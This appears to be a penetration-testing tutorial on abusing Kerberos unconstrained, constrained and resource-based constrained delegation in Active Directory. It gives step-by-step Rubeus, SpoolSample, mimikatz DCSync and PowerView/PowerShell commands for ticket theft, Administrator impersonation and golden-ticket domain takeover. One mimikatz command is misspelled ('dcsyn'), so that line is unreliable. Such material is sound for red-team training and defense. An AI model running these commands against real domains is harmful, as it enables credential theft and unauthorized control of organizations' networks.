Exploiting unconstrained delegation

Unconstrained delegation is a concept in Active Directory where a service principal is trusted to make Ticket Granting Service (TGS) requests to a Key Distribution Center (KDC) on-behalf-of of another entity. Essentially, an entity will request a forwardable Ticket Granting Ticket (TGT) from the KDC and then a TGS for a service principal. When making a request to a service principal where we expect the service to make another request on our behalf, we provide both the TGT and the TGS for the request.

The service will use our TGT to request another TGS from the KDC, and execute actions against a second service in the context of our user. If we can compromise a service that has unconstrained delegation, we can dump forwardable TGTs from memory and make requests to other services on behalf of the user(s) we compromised.

Coercing authentication

If a machine or service principal we’ve compromised has the unconstrained delegation privilege, using the SpoolSample.exe application referenced in Windows privilege escalation, we can coerce other entities to authenticate to us with a forwardable TGT. We can then dump the victim’s TGT from our ticket cache and abuse it to move laterally throughout the domain.

Using Rubeus.exe referenced in Windows credentials, we can monitor tickets for a user by invoking the following:

Rubeus.exe monitor /interval:5 /filteruser:${USER_PRINCIPAL_NAME}

Using SpoolSample.exe, we can coerce a target to establish a connection to our print spooler pipe by invoking the following:

SpoolSample.exe ${TARGET_SERVER} ${CAPTURE_SERVER}

Once we found a ticket, we can Pass the Ticket (PTT) and cache it into memory with Rubeus:

Rubeus.exe ptt /ticket:${TICKET_HASH}

For example, if we manage to get a forwardable TGT for the Domain Controller, we can use mimikatz to dump NTLM hashes of any user in the domain:

lsadump::dcsyn /domain:${DOMAIN} /user:${DOMAIN}\krbtgt

Once we acquire the NTLM hash of the krbtgt service principal, we can craft a golden ticket to obtain access to any resource in the domain.

Constrained delegation

Constrained delegation restricts an entity to conduct on-behalf-of authentication only to service principals listed in its msds-allowedtodelegateto property. Microsoft offers the S4U2Self and S4U2proxy extensions to request a service ticket on second-hop services on behalf of a user. Still, if we’ve compromised the host that has constrained delegation, we can still abuse this property to pivot to other hosts in the domain.

Given a TGT for a service that has constrained delegation permissions, we can execute the following with Rubeus to impersonate users for other service principals:

Rubeus.exe s4u /ticket:${TGT_HASH} /impersonateuser:Administrator /msdsspn:${SERVICE_PRINCIPAL_NAME} /ptt

We can also target alternative service principals like so:

Rubeus.exe s4u /ticket:${TGT_HASH} /impersonateuser:Administrator /msdsspn:${SERVICE_PRINCIPAL_NAME} /altservice:CIFS /ptt

Resource-based constrained delegation

Resource-based constrained delegation reverses the privilege requirements to enable delegation. Instead of Domain Administrators configuring delegation privileges, a backend service can use the msds-allowedtoactonbehalfofotheridentity property to specify which service principals the backend service will request TGSs to the KDC on-behalf-of. We require GenericWrite on the backend service to set this property.

The msds-allowedtoactonbehalfofotheridentity property cannot be used for user principals, however, it can be set for machine accounts. If we have GenericWrite permissions, we can execute the following procedures to abuse the property. Using cmdlets from the PowerView toolkit mentioned in Attacking Active Directory certificate servces, we can determine if we can create new machine objects in the domain and create a new machine account:

Get-DomainObject -Identity ${DOMAIN} -Properties ms-DS-MachineAccountQuota
# Check to see if there are machines available in the quota
New-MachineAccount `
	-MachineAccount ${NEW_COMPUTER_NAME} `
	-Password $(ConvertTo-SecureString ${PASSWORD} -AsPlainText -Force)

Using the following PowerShell, we’ll set the msds-allowedtoactonbehalfofotheridentity property on the machine we have GenericWrite` permissions for for the machine we just created:

$sid = Get-DomainComputer `
	-Identity ${NEW_COMPUTER_NAME} `
	-Properties objectsid | Select -Expand objectsid
 
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
	-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
 
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
 
Get-DomainComputer -Identity ${VICTIM_COMPUTER_NAME} | Set-DomainObject `
	-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Using Rubeus, we can initiate a TGT request on behalf of our new computer, using its password hash, to initiate S4U2self and S4U2proxy to impersonate another user for the target backend service that we just set msds-allowedtoactonbehalfofotheridentity permissions for:

# Get password hash
Rubeus.exe hash /password:${PASSWORD}
 
# Impersonate user on backend service that acts on behalf of new computer
Rubeus.exe s4u `
	/user:${NEW_COMPUTER_NAME} `
	/rc4:${PASSWORD_HASH} `
	/impersonateuser:Administrator `
	/msdsspn:CIFS/${BACKEND_SERVER} `
	/ptt